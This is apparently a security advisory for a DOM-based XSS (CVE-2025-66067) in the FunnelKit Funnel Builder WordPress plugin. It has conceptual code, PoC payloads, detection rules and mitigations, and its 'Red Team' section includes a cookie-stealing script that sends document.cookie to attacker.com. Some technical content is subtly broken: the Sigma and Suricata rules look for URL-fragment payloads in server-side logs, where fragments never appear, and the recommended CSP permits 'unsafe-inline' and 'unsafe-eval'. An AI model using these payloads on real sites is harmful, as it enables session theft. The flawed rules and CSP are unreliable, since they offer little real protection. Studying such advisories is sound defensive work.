CVE-2025-66067

Executive Summary

CVE-2025-66067 is a DOM-Based Cross-Site Scripting (XSS) vulnerability discovered in the Funnel Builder by FunnelKit WordPress plugin (slug: funnel-builder). This vulnerability affects all versions from n/a through 3.13.1.2. The flaw stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser context. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem, not the underlying web server software.

The vulnerability is classified as DOM-Based XSS, meaning the attack payload is executed entirely on the client side via JavaScript manipulation of the Document Object Model (DOM). The CVSS v3.1 score is 6.5 (Medium), with a vector emphasizing network access, low attack complexity, and required user interaction. The EPSS score is 0.0%, indicating low current exploitation activity, but the lack of a patch makes this a ticking time bomb for unpatched installations.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and potentially through commercial channels. The supply chain risk is elevated because:

• No official patch has been released by FunnelKit.
• The plugin is widely used for building sales funnels, making it a high-value target for attackers.
• DOM-Based XSS can be used to steal session cookies, deface pages, or redirect users to phishing sites.
• Organizations using this plugin should treat it as a critical supply chain risk until a patch is applied or the plugin is removed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin's popularity elevate the real-world risk. DOM-Based XSS can be chained with other attacks (e.g., CSRF) to achieve privilege escalation.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS in the Funnel Builder by FunnelKit plugin. Unlike reflected or stored XSS, DOM-Based XSS occurs when client-side JavaScript processes user input from an untrusted source (e.g., document.location.hash, document.URL, or window.name) and writes it to the DOM without proper sanitization.

In this case, the vulnerable code likely reads a parameter from the URL fragment (hash) or query string and injects it directly into the page's HTML. For example, a URL like:

https://victim.com/funnel/?step=#<script>alert('XSS')</script>

could cause the plugin's JavaScript to insert the payload into the DOM, executing the script.

The attack flow:

1. Attacker crafts a malicious URL containing the XSS payload in a specific parameter.
2. Victim clicks the link (phishing email, social engineering, etc.).
3. The victim's browser loads the vulnerable page.
4. The plugin's JavaScript reads the malicious input from the DOM source.
5. The input is written to the DOM without sanitization, executing the attacker's script.
6. The script can steal cookies, redirect the user, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The vulnerable code likely resembles:

// Vulnerable code (conceptual)
var step = window.location.hash.substring(1);
document.getElementById('funnel-step').innerHTML = step;

A patched version would sanitize the input:

// Patched code (conceptual)
var step = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(step);
document.getElementById('funnel-step').innerHTML = sanitized;

Or use safe DOM methods:

// Alternative patched code
var step = window.location.hash.substring(1);
var node = document.createTextNode(step);
document.getElementById('funnel-step').appendChild(node);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Funnel Builder by FunnelKit <= 3.13.1.2 installed and active.
• Ability to craft a malicious URL.

Exploitation Steps:

1. Identify the vulnerable parameter. Common candidates include step, page, or funnel_id in the URL hash or query string.
2. Craft a proof-of-concept URL:

   https://victim.com/funnel/?step=#<img src=x onerror=alert(document.cookie)>
   

3. Send the URL to the victim via phishing email or social media.
4. When the victim clicks the link, the XSS payload executes, displaying their cookies in an alert box.

Advanced Payload (Cookie Theft):

https://victim.com/funnel/?step=#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for URLs containing suspicious patterns in the query string or fragment (e.g., <script, onerror, javascript:).
2. Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Deploy Web Application Firewall (WAF) rules to block common XSS payloads.

Lab Setup:

• Use a local WordPress instance with the vulnerable plugin.
• Simulate the attack using a browser with developer tools open.
• Observe the DOM manipulation in the Elements panel.

Indicators of Compromise (IOCs)

• URL Patterns:
  • /?step=#<script
  • /?step=#<img
  • /?step=#<svg
  • /?step=#javascript:
• Network Traffic:
  • Outbound requests to attacker-controlled domains from the victim's browser.
  • Unusual Referer headers containing XSS payloads.
• Log Entries:
  • Web server logs showing requests with encoded or raw XSS payloads in the URL fragment.
  • Browser console errors related to script execution.

Detection Engineering

YARA Rule

rule CVE_2025_66067_DOM_XSS {
    meta:
        description = "Detects DOM-Based XSS attempts targeting Funnel Builder by FunnelKit"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-66067"
    strings:
        $payload1 = /[?&]step=#[^&]*<script/i
        $payload2 = /[?&]step=#[^&]*<img[^>]+onerror/i
        $payload3 = /[?&]step=#[^&]*<svg[^>]+onload/i
        $payload4 = /[?&]step=#[^&]*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-66067 DOM-Based XSS in Funnel Builder by FunnelKit
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing DOM-Based XSS payloads targeting Funnel Builder by FunnelKit
author: Valters IT
date: 2025-04-10
tags:
    - attack.t1059.007
    - cve.2025.66067
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'step=#<script'
            - 'step=#<img'
            - 'step=#<svg'
            - 'step=#javascript:'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-66067 DOM-Based XSS in Funnel Builder by FunnelKit";
    flow:to_server,established;
    content:"step="; http_uri;
    pcre:"/[?&]step=#[^&]*(<script|<img[^>]+onerror|<svg[^>]+onload|javascript:)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-66067;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by FunnelKit.
2. If disabling is not possible, implement a Web Application Firewall (WAF) rule to block requests containing XSS payloads in the step parameter.
3. Add the following Content Security Policy (CSP) header to the WordPress site:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
   

   Note: 'unsafe-inline' is required for some WordPress functionality but weakens XSS protection. Consider using nonces or hashes instead.

Long-Term Fixes:

• Monitor the FunnelKit website and WordPress plugin repository for an official patch.
• Apply the patch immediately when released.
• Conduct a security audit of all WordPress plugins to identify similar DOM-Based XSS vulnerabilities.
• Educate users about phishing attacks that exploit XSS vulnerabilities.

Workaround:

• If the vulnerable parameter is not critical, modify the plugin's JavaScript to sanitize input using DOMPurify or similar libraries.

Valters IT